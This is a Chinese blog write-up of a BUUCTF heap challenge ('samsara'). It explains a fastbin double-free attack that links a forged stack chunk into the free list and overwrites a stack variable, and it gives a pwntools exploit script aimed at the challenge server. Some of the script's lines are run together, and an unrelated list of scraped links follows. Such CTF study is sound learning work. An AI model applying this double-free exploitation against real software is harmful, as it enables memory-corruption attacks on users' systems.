终于学到堆了,这道题做了三遍才来写这篇博客,算是对题有了较深地体会吧。

堆题的变量确实比栈题要多啊。

观察各个case部分:

思路

1.先malloc chunk0,1,2。先利用double free漏洞连续free两个chunk 0,1,形成闭环

2.malloc 一个chunk,虽然是chunk 3 ,但由于闭环的关系,会把编号为0 的chunk地址给chunk 3,此时闭环状态为:

3.从栈上伪造chunk

观察源代码,只要把v8得值改成3735928559即可。这时可以把下图栈上的变量区想象成伪造的chunk。

4.链接chunk 3 和伪造的chunk

只要修改chunk 3的fd,使其指向上图prevsize所在地址,就能把chunk 3 和栈链接在一起。
chunk 3 的fd如何更改?在源代码的case 3部分,修改Ingredient就等于修改fd,因为malloc 一个chunk,返回地就是fd,所以一开始保存chunk的数组就是保存fd地址。(另外,free也是free的fd,但是一个chunk要链接另一个chunk,指向的必须是下一个chunk的prevsize地址。)
此时,闭环改变了:

5.修改伪造chunk

要修改伪造的chunk内容,必须把它从fastbin中提取出来。前面有两个chunk在排队,所以一共要malloc 3次。
此时,伪造的chunk编号是6。只要把chunk 6的内容修改成3735928559就可以了。

代码

from pwn import *
#context.log_level="debug"
#p=process("./samsara")
p=remote("node4.buuoj.cn",28335)
def add():p.sendlineafter(">","1")def delete(index):p.sendlineafter(">","2")p.sendlineafter(":\n",index)def edit(index,content):p.sendlineafter(">","3")p.sendlineafter(":\n",index)p.sendlineafter(":\n",content)def show():p.sendlineafter(">","4")p.recvuntil("0x")return int(p.recvuntil("\n"),16)
def edit_lair(value):p.sendlineafter(">","5")p.sendlineafter("?\n",value)add() #chunk 0
add() #chunk 1
add() #chunk 2delete("0")
delete("1")
delete("0")add() #chunk 3
edit_lair(str(0x20)) #v7=0x20edit("3",str(show()-0x8))
add() #chunk 4
add() #chunk 5
add() #chunk 6edit("6",str(3735928559))p.sendline("6")p.interactive()


干饭干饭!

BUUCTF刷题——metasequoia_2020_samsara相关推荐

  1. BUUCTF刷题笔记

    BUUCTF刷题笔记 [极客大挑战 2019]BabySQL 从这句话我们可以看出,这个网站的后台是做了过滤处理的 这个时候我们先用万能密码实验一下看看,是什么类型的SQL注入 输入1',看看返回的结 ...

  2. buuctf刷题-Crypto-联想脑洞-达芬奇密码

    buuctf刷题-Crypto-联想脑洞-达芬奇密码 给了两串数字和提示: (答案是一串32位十进制数字) 达芬奇隐藏在蒙娜丽莎中的数字列:1 233 3 2584 1346269 144 5 196 ...

  3. BUUCTF刷题记录(7)

    文章目录 web [NPUCTF2020]ezinclude [NPUCTF2020]ReadlezPHP [GXYCTF2019]BabysqliV3.0 非预期1 非预期2 预期 [NCTF201 ...

  4. BUUCTF刷题记录(2)

    文章目录 web [De1CTF 2019]SSRF Me(未完成) [极客大挑战 2019]PHP [极客大挑战 2019]Knife [极客大挑战 2019]LoveSQL [RoarCTF 20 ...

  5. buuctf刷题记录(6)

    [MRCTF2020]Xor 查壳: 拖入IDA中: 跟进,但是我们无法对关键函数sub_401090查看伪代码: 然后我们就直接看: 再函数中可以看到v0和byte_4212c0按位异或,最后得到b ...

  6. buuctf刷题 3(1个sstl模板注入 1个session伪造 以及php)

    [护网杯 2018]easy_tornado 1 访问页面所给的可以得到 /flag.txt flag in /fllllllllllllag  可知flag在/fllllllllllllag. /w ...

  7. buuctf 刷题 6(WEB-INF/web.xmlSmarty模板注入py脚本编写)

    [RoarCTF 2019]Easy Java 进去页面,得到一个登录框.因为题目是java,应该不是sql注入, 点开help,看见: filename参数可控 .没做过相应的java安全题目.看其 ...

  8. buuctf刷题9 (反序列化逃逸shtml-SSI远程命令执行idna与utf-8编码漏洞)

    目录 安洵杯2019 easy_serialize_php (反序列化中的对象逃逸) [0CTF 2016]piapiapia(反序列化逃逸) [BJDCTF2020]EasySearch(Apach ...

  9. BUUCTF 刷题 铁人三项(第五赛区)_2018_rop

    BUUCTF在线评测 直接ret2libc,很简单,但是write函数有三个参数要填充 exp: from pwn import * from LibcSearcher import *context ...

最新文章

  1. X86/ARM 模拟器
  2. oracle的asmcmd获取归档日志,分析oracle的联机日志和归档日志
  3. Arduino学习笔记⑦ EEPROM断电保存数据
  4. python asyncio future_Python asyncio.isfuture方法代码示例
  5. [转]项目失败的经验
  6. 算命数据_未来的数据科学家或算命精神向导
  7. 阿里开源首个深度学习框架 X-Deep Learning!
  8. 简单的后台管理系统vue-cli3.0+element-ui
  9. 会涨价么?苹果iPad和MacBook拟采用三星OLED屏幕
  10. CodeForces round 753 problem B Odd Grasshopper(奇怪的蚱蜢)
  11. Java基础之Java 修饰符
  12. matlab 添加多行注释
  13. 网络流中 InputStream.available() = 0 问题探究
  14. 【POJ 2719 --- Faulty Odometer】
  15. 笔记本电脑外接显示器
  16. 电脑录音软件大全,推荐一波优秀的录音软件!
  17. Basler相机Sdk采图的演示例程(C#)
  18. 【工具】goland pull代码 出现 you local changes would be overwritten by merge.Commit, stash or revert ......
  19. PROTOTEX: Explaining Model Decisions with Prototype Tensors论文解读
  20. 浅谈emoji(分析与使用)

热门文章

  1. css 修改文字基准线_HTML4/HTML5 用CSS或style属性修改 hr 实线 虚线 点线 双实线样式 ... ......
  2. 最全MySQL面试题和答案
  3. php win8 下载64位下载,WIN8.1x64纯净专业版GHO系统下载20180713
  4. ipv4v6双栈技术_IPv6过渡技术之双栈技术
  5. 队残冒逃茸霞桥镭砸的
  6. 【期末复习】转眼到了C++的复习时间(更新中)
  7. 谷歌SEO优化八步走
  8. 浙江大学MEM面试小结
  9. win10如何重新安装微软应用商店
  10. 分享:DFC开发平台的设计理念